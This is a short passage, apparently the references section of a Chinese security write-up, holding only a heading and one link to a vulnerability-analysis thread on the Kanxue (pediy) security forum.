0x08 参考
https://bbs.pediy.com/thread-260268.htm#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90